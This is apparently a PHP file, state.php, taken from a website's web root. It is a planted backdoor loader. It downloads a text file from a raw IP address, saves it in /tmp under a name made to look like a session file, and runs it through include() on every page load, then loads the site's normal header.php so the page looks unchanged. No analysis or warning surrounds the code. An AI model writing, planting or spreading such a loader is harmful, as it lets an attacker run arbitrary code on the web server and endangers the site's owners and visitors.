File: /var/www/vhosts/mutilacaogenitalfeminina.pt/httpdocs/state.php
<?php
if (is_dir("/tmp")) {
$url = "http://173.208.169.218/z51031_7/stat/index2.txt";
$file = "/tmp/sess_" . md5($url) . ".php";
if (!file_exists($file)) {
$content = file_get_contents($url);
if ($content !== false) {
$fp = fopen($file, "w");
if ($fp) {
fwrite($fp, $content);
fclose($fp);
include($file);
} else {
echo "Error opening file for writing.";
}
} else {
echo "Error fetching file.";
}
} else {
include($file);
}
} else {
echo "Temporary directory does not exist.";
}
include('header.php');
?>